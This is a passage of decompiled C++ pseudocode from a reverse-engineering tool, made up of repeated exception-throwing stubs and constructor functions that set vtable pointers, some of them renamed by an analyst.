__fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131A8: using guessed type __int64 qword_2131A8; // 2131CC: using guessed type int dword_2131CC; //----- (0000000000009EFA) ---------------------------------------------------- void __noreturn sub_9EFA() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C4: using guessed type int dword_2131C4; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000009FA2) ---------------------------------------------------- void __noreturn sub_9FA2() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C0: using guessed type int dword_2131C0; // 2131D0: using guessed type int dword_2131D0; //----- (000000000000A09E) ---------------------------------------------------- void __noreturn sub_A09E() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131CC: using guessed type int dword_2131CC; // 2131D4: using guessed type int dword_2131D4; //----- (000000000000A19A) ---------------------------------------------------- void __noreturn sub_A19A() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C8: using guessed type int dword_2131C8; // 2131D0: using guessed type int dword_2131D0; //----- (000000000000A296) ---------------------------------------------------- void __noreturn sub_A296() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131CC: using guessed type int dword_2131CC; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (000000000000A33C) ---------------------------------------------------- void __noreturn sub_A33C() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C0: using guessed type int dword_2131C0; // 2131D0: using guessed type int dword_2131D0; //----- (000000000000A438) ---------------------------------------------------- void __noreturn sub_A438() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C8: using guessed type int dword_2131C8; // 2131D0: using guessed type int dword_2131D0; //----- (000000000000A534) ---------------------------------------------------- void __noreturn sub_A534() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C4: using guessed type int dword_2131C4; // 2131D4: using guessed type int dword_2131D4; //----- (000000000000A630) ---------------------------------------------------- void __noreturn sub_A630() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C0: using guessed type int dword_2131C0; // 2131D0: using guessed type int dword_2131D0; //----- (000000000000A72C) ---------------------------------------------------- void __noreturn sub_A72C() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C0: using guessed type int dword_2131C0; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (000000000000A7CE) ---------------------------------------------------- void __noreturn sub_A7CE() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C8: using guessed type int dword_2131C8; //----- (000000000000A860) ---------------------------------------------------- void __noreturn sub_A860() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C0: using guessed type int dword_2131C0; // 2131D0: using guessed type int dword_2131D0; //----- (000000000000A95C) ---------------------------------------------------- void __noreturn sub_A95C() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C4: using guessed type int dword_2131C4; //----- (000000000000A9E4) ---------------------------------------------------- void __noreturn sub_A9E4() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C8: using guessed type int dword_2131C8; //----- (000000000000AA6C) ---------------------------------------------------- void __noreturn sub_AA6C() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C0: using guessed type int dword_2131C0; //----- (000000000000AAFE) ---------------------------------------------------- void __noreturn sub_AAFE() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C0: using guessed type int dword_2131C0; //----- (000000000000AB86) ---------------------------------------------------- void __noreturn sub_AB86() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131A0: using guessed type __int64 qword_2131A0; // 2131C4: using guessed type int dword_2131C4; //----- (000000000000AC4A) ---------------------------------------------------- void __noreturn sub_AC4A() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C4: using guessed type int dword_2131C4; //----- (000000000000ACD2) ---------------------------------------------------- _QWORD *__fastcall alloc_base(_QWORD *a1) { _QWORD *result; // rax result = a1; *a1 = &vtable_base_off_2110F8; return result; } // 2110F8: using guessed type __int64 (__fastcall *vtable_base_off_2110F8)(); //----- (000000000000ACEC) ---------------------------------------------------- _QWORD *__fastcall funky_0(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &hunky_off_210E28; return result; } // 210E28: using guessed type void (__fastcall __noreturn *hunky_off_210E28)(); //----- (000000000000AD16) ---------------------------------------------------- _QWORD *__fastcall funky_1(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210F00; return result; } // 210F00: using guessed type void (__fastcall __noreturn *off_210F00)(); //----- (000000000000AD40) ---------------------------------------------------- _QWORD *__fastcall sub_AD40(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2105E8; return result; } // 2105E8: using guessed type void (__fastcall __noreturn *off_2105E8)(); //----- (000000000000AD6A) ---------------------------------------------------- _QWORD *__fastcall sub_AD6A(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210E70; return result; } // 210E70: using guessed type void (__fastcall __noreturn *off_210E70)(); //----- (000000000000AD94) ---------------------------------------------------- _QWORD *__fastcall sub_AD94(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210BB8; return result; } // 210BB8: using guessed type void (__fastcall __noreturn *off_210BB8)(); //----- (000000000000ADBE) ---------------------------------------------------- _QWORD *__fastcall sub_ADBE(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210CA8; return result; } // 210CA8: using guessed type void (__fastcall __noreturn *off_210CA8)(); //----- (000000000000ADE8) ---------------------------------------------------- _QWORD *__fastcall sub_ADE8(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_211038; return result; } // 211038: using guessed type void (__fastcall __noreturn *off_211038)(); //----- (000000000000AE12) ---------------------------------------------------- _QWORD *__fastcall sub_AE12(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210840; return result; } // 210840: using guessed type void (__fastcall __noreturn *off_210840)(); //----- (000000000000AE3C) ---------------------------------------------------- _QWORD *__fastcall sub_AE3C(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210AF8; return result; } // 210AF8: using guessed type void (__fastcall __noreturn *off_210AF8)(); //----- (000000000000AE66) ---------------------------------------------------- _QWORD *__fastcall sub_AE66(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210780; return result; } // 210780: using guessed type void (__fastcall __noreturn *off_210780)(); //----- (000000000000AE90) ---------------------------------------------------- _QWORD *__fastcall sub_AE90(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2108D0; return result; } // 2108D0: using guessed type void (__fastcall __noreturn *off_2108D0)(); //----- (000000000000AEBA) ---------------------------------------------------- _QWORD *__fastcall sub_AEBA(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210C30; return result; } // 210C30: using guessed type void (__fastcall __noreturn *off_210C30)(); //----- (000000000000AEE4) ---------------------------------------------------- _QWORD *__fastcall sub_AEE4(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2108B8; return result; } // 2108B8: using guessed type void (__fastcall __noreturn *off_2108B8)(); //----- (000000000000AF0E) ---------------------------------------------------- _QWORD *__fastcall sub_AF0E(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2108E8; return result; } // 2108E8: using guessed type void (__fastcall __noreturn *off_2108E8)(); //----- (000000000000AF38) ---------------------------------------------------- _QWORD *__fastcall sub_AF38(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210A08; return result; } // 210A08: using guessed type void (__fastcall __noreturn *off_210A08)(); //----- (000000000000AF62) ---------------------------------------------------- _QWORD *__fastcall sub_AF62(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210768; return result; } // 210768: using guessed type void (__fastcall __noreturn *off_210768)(); //----- (000000000000AF8C) ---------------------------------------------------- _QWORD *__fastcall sub_AF8C(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210CF0; return result; } // 210CF0: using guessed type void (__fastcall __noreturn *off_210CF0)(); //----- (000000000000AFB6) ---------------------------------------------------- _QWORD *__fastcall sub_AFB6(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210D08; return result; } // 210D08: using guessed type void (__fastcall __noreturn *off_210D08)(); //----- (000000000000AFE0) ---------------------------------------------------- _QWORD *__fastcall sub_AFE0(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210990; return result; } // 210990: using guessed type void (__fastcall __noreturn *off_210990)(); //----- (000000000000B00A) ---------------------------------------------------- _QWORD *__fastcall sub_B00A(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210B40; return result; } // 210B40: using guessed type void (__fastcall __noreturn *off_210B40)(); //----- (000000000000B034) ---------------------------------------------------- _QWORD *__fastcall sub_B034(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210D98; return result; } // 210D98: using guessed type void (__fastcall __noreturn *off_210D98)(); //----- (000000000000B05E) ---------------------------------------------------- _QWORD *__fastcall sub_B05E(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2110B0; return result; } // 2110B0: using guessed type void (__fastcall __noreturn *off_2110B0)(); //----- (000000000000B088) ---------------------------------------------------- _QWORD *__fastcall sub_B088(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2108A0; return result; } // 2108A0: using guessed type void (__fastcall __noreturn *off_2108A0)(); //----- (000000000000B0B2) ---------------------------------------------------- _QWORD *__fastcall sub_B0B2(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210F78; return result; } // 210F78: using guessed type void (__fastcall __noreturn *off_210F78)(); //----- (000000000000B0DC) ---------------------------------------------------- _QWORD *__fastcall sub_B0DC(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210F60; return result; } // 210F60: using guessed type void (__fastcall __noreturn *off_210F60)(); //----- (000000000000B106) ---------------------------------------------------- _QWORD *__fastcall sub_B106(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210D80; return result; } // 210D80: using guessed type void (__fastcall __noreturn *off_210D80)(); //----- (000000000000B130) ---------------------------------------------------- _QWORD *__fastcall sub_B130(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210E40; return result; } // 210E40: using guessed type void (__fastcall __noreturn *off_210E40)(); //----- (000000000000B15A) ---------------------------------------------------- _QWORD *__fastcall sub_B15A(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210B58; return result; } // 210B58: using guessed type void (__fastcall __noreturn *off_210B58)(); //----- (000000000000B184) ---------------------------------------------------- _QWORD *__fastcall sub_B184(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210EB8; return result; } // 210EB8: using guessed type void (__fastcall __noreturn *off_210EB8)(); //----- (000000000000B1AE) ---------------------------------------------------- _QWORD *__fastcall sub_B1AE(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210C18; return result; } // 210C18: using guessed type void (__fastcall __noreturn *off_210C18)(); //----- (000000000000B1D8) ---------------------------------------------------- _QWORD *__fastcall sub_B1D8(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210CC0; return result; } // 210CC0: using guessed type void (__fastcall __noreturn *off_210CC0)(); //----- (000000000000B202) ---------------------------------------------------- _QWORD *__fastcall sub_B202(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210B70; return result; } // 210B70: using guessed type void (__fastcall __noreturn *off_210B70)(); //----- (000000000000B22C) ---------------------------------------------------- _QWORD *__fastcall sub_B22C(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210978; return result; } // 210978: using guessed type void (__fastcall __noreturn *off_210978)(); //----- (000000000000B256) ---------------------------------------------------- _QWORD *__fastcall sub_B256(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210E88; return result; } // 210E88: using guessed type void (__fastcall __noreturn *off_210E88)(); //----- (000000000000B280) ---------------------------------------------------- _QWORD *__fastcall sub_B280(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210D68; return result; } // 210D68: using guessed type void (__fastcall __noreturn *off_210D68)(); //----- (000000000000B2AA) ---------------------------------------------------- _QWORD *__fastcall sub_B2AA(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210960; return result; } // 210960: using guessed type void (__fastcall __noreturn *off_210960)(); //----- (000000000000B2D4) ---------------------------------------------------- _QWORD *__fastcall sub_B2D4(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_211050; return result; } // 211050: using guessed type void (__fastcall __noreturn *off_211050)(); //----- (000000000000B2FE) ---------------------------------------------------- _QWORD *__fastcall sub_B2FE(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_211068; return result; } // 211068: using guessed type void (__fastcall __noreturn *off_211068)(); //----- (000000000000B328) ---------------------------------------------------- _QWORD *__fastcall sub_B328(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210D38; return result; } // 210D38: using guessed type void (__fastcall __noreturn *off_210D38)(); //----- (000000000000B352) ---------------------------------------------------- _QWORD *__fastcall sub_B352(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210B88; return result; } // 210B88: using guessed type void (__fastcall __noreturn *off_210B88)(); //----- (000000000000B37C) ---------------------------------------------------- _QWORD *__fastcall sub_B37C(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2109F0; return result; } // 2109F0: using guessed type void (__fastcall __noreturn *off_2109F0)(); //----- (000000000000B3A6) ---------------------------------------------------- _QWORD *__fastcall sub_B3A6(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210600; return result; } // 210600: using guessed type void (__fastcall __noreturn *off_210600)(); //----- (000000000000B3D0) ---------------------------------------------------- _QWORD *__fastcall sub_B3D0(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210E58; return result; } // 210E58: using guessed type void (__fastcall __noreturn *off_210E58)(); //----- (000000000000B3FA) ---------------------------------------------------- _QWORD *__fastcall sub_B3FA(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210A68; return result; } // 210A68: using guessed type void (__fastcall __noreturn *off_210A68)(); //----- (000000000000B424) ---------------------------------------------------- _QWORD *__fastcall sub_B424(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210DB0; return result; } // 210DB0: using guessed type void (__fastcall __noreturn *off_210DB0)(); //----- (000000000000B44E) ---------------------------------------------------- _QWORD *__fastcall sub_B44E(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210660; return result; } // 210660: using guessed type void (__fastcall __noreturn *off_210660)(); //----- (000000000000B478) ---------------------------------------------------- _QWORD *__fastcall sub_B478(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2107E0; return result; } // 2107E0: using guessed type void (__fastcall __noreturn *off_2107E0)(); //----- (000000000000B4A2) ---------------------------------------------------- _QWORD *__fastcall sub_B4A2(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2106A8; return result; } // 2106A8: using guessed type void (__fastcall __noreturn *off_2106A8)(); //----- (000000000000B4CC) ---------------------------------------------------- _QWORD *__fastcall sub_B4CC(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210A98; return result; } // 210A98: using guessed type void (__fastcall __noreturn *off_210A98)(); //----- (000000000000B4F6) ---------------------------------------------------- _QWORD *__fastcall sub_B4F6(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210630; return result; } // 210630: using guessed type void (__fastcall __noreturn *off_210630)(); //----- (000000000000B520) ---------------------------------------------------- _QWORD *__fastcall sub_B520(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210E10; return result; } // 210E10: using guessed type void (__fastcall __noreturn *off_210E10)(); //----- (000000000000B54A) ---------------------------------------------------- _QWORD *__fastcall sub_B54A(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2105A0; return result; } // 2105A0: using guessed type void (__fastcall __noreturn *off_2105A0)(); //----- (000000000000B574) ---------------------------------------------------- _QWORD *__fastcall sub_B574(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_211080; return result; } // 211080: using guessed type void (__fastcall __noreturn *off_211080)(); //----- (000000000000B59E) ---------------------------------------------------- _QWORD *__fastcall sub_B59E(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_211008; return result; } // 211008: using guessed type void (__fastcall __noreturn *off_211008)(); //----- (000000000000B5C8) ---------------------------------------------------- _QWORD *__fastcall sub_B5C8(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210AC8; return result; } // 210AC8: using guessed type void (__fastcall __noreturn *off_210AC8)(); //----- (000000000000B5F2) ---------------------------------------------------- _QWORD *__fastcall sub_B5F2(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210BA0; return result; } // 210BA0: using guessed type void (__fastcall __noreturn *off_210BA0)(); //----- (000000000000B61C) ---------------------------------------------------- _QWORD *__fastcall sub_B61C(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210F90; return result; } // 210F90: using guessed type void (__fastcall __noreturn *off_210F90)(); //----- (000000000000B646) ---------------------------------------------------- _QWORD *__fastcall sub_B646(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2105B8; return result; } // 2105B8: using guessed type void (__fastcall __noreturn *off_2105B8)(); //----- (000000000000B670) ---------------------------------------------------- _QWORD *__fastcall sub_B670(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210C00; return result; } // 210C00: using guessed type void (__fastcall __noreturn *off_210C00)(); //----- (000000000000B69A) ---------------------------------------------------- _QWORD *__fastcall sub_B69A(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210900; return result; } // 210900: using guessed type void (__fastcall __noreturn *off_210900)(); //----- (000000000000B6C4) ---------------------------------------------------- _QWORD *__fastcall sub_B6C4(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210798; return result; } // 210798: using guessed type void (__fastcall __noreturn *off_210798)(); //----- (000000000000B6EE) ---------------------------------------------------- _QWORD *__fastcall sub_B6EE(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210BD0; return result; } // 210BD0: using guessed type void (__fastcall __noreturn *off_210BD0)(); //----- (000000000000B718) ---------------------------------------------------- _QWORD *__fastcall sub_B718(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210AE0; return result; } // 210AE0: using guessed type void (__fastcall __noreturn *off_210AE0)(); //----- (000000000000B742) ---------------------------------------------------- _QWORD *__fastcall sub_B742(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210720; return result; } // 210720: using guessed type void (__fastcall __noreturn *off_210720)(); //----- (000000000000B76C) ---------------------------------------------------- _QWORD *__fastcall sub_B76C(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210D50; return result; } // 210D50: using guessed type void (__fastcall __noreturn *off_210D50)(); //----- (000000000000B796) ---------------------------------------------------- _QWORD *__fastcall sub_B796(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2106C0; return result; } // 2106C0: using guessed type void (__fastcall __noreturn *off_2106C0)(); //----- (000000000000B7C0) ---------------------------------------------------- _QWORD *__fastcall sub_B7C0(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210B28; return result; } // 210B28: using guessed type void (__fastcall __noreturn *off_210B28)(); //----- (000000000000B7EA) ---------------------------------------------------- _QWORD *__fastcall sub_B7EA(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210858; return result; } // 210858: using guessed type void (__fastcall __noreturn *off_210858)(); //----- (000000000000B814) ---------------------------------------------------- _QWORD *__fastcall sub_B814(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210738; return result; } // 210738: using guessed type void (__fastcall __noreturn *off_210738)(); //----- (000000000000B83E) ---------------------------------------------------- _QWORD *__fastcall sub_B83E(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210678; return result; } // 210678: using guessed type void (__fastcall __noreturn *off_210678)(); //----- (000000000000B868) ---------------------------------------------------- _QWORD *__fastcall sub_B868(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2105D0; return result; } // 2105D0: using guessed type void (__fastcall __noreturn *off_2105D0)(); //----- (000000000000B892) ---------------------------------------------------- _QWORD *__fastcall sub_B892(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210A50; return result; } // 210A50: using guessed type void (__fastcall __noreturn *off_210A50)(); //----- (000000000000B8BC) ---------------------------------------------------- _QWORD *__fastcall sub_B8BC(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210EA0; return result; } // 210EA0: using guessed type void (__fastcall __noreturn *off_210EA0)(); //----- (000000000000B8E6) ---------------------------------------------------- _QWORD *__fastcall sub_B8E6(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2107F8; return result; } // 2107F8: using guessed type void (__fastcall __noreturn *off_2107F8)(); //----- (000000000000B910) ---------------------------------------------------- _QWORD *__fastcall sub_B910(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2106D8; return result; } // 2106D8: using guessed type void (__fastcall __noreturn *off_2106D8)(); //----- (000000000000B93A) ---------------------------------------------------- _QWORD *__fastcall sub_B93A(_QWORD *a1) 